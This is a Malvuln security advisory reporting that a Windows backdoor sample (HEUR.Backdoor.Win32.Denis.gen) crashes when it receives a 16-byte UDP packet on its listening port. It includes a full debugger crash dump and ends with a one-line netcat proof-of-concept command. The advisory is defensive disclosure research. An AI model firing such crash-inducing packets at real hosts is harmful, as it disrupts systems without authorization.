Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HEUR.Backdoor.Win32.Denis.gen Vulnerability: Remote Denial of Service (UDP Datagram) Description: The malware listens on UDP port 50530 and the last digit increments by one each time the malware is restarted e.g. 50531. Third-party attackers who can reach infected systems can send 16 byte UDP packet to trigger an access violation and crash. Type: PE32 MD5: 1a4d58e281103fea2a4ccbfab93f74d2 Vuln ID: MVID-2021-0395 Disclosure: 11/07/2021 Memory Dump: (ebc.15e4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003 edi=00000003 eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000 edi=00000000 eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb: 012020eb 8a0419 mov al,byte ptr [ecx+ebx] ds:002b:0100814d=?? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb 012020eb 8a0419 mov al,byte ptr [ecx+ebx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 012020eb (HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 0100814d Attempt to read from address 0100814d DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 0100814d READ_ADDRESS: 0100814d FOLLOWUP_IP: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb 012020eb 8a0419 mov al,byte ptr [ecx+ebx] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000015e4 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 01206b11 to 012020eb STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 00bbf5d0 01206b11 01003ff0 0000415d 01002fe8 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb 00bbf9c4 01206e25 01214b3c 01200000 00000000 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11 00bbfa58 77408654 00ceb000 77408630 db60d728 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25 00bbfa6c 77704a77 00ceb000 c59b8fff 00000000 kernel32!BaseThreadInitThunk+0x24 00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f 00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb FOLLOWUP_NAME: MachineOwner MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2 IMAGE_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe DEBUG_FLR_IMAGE_TIMESTAMP: 502fe904 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb Exploit/PoC: python -c "print('A'*16)" | nc64.exe x.x.x.x -u -c 50531 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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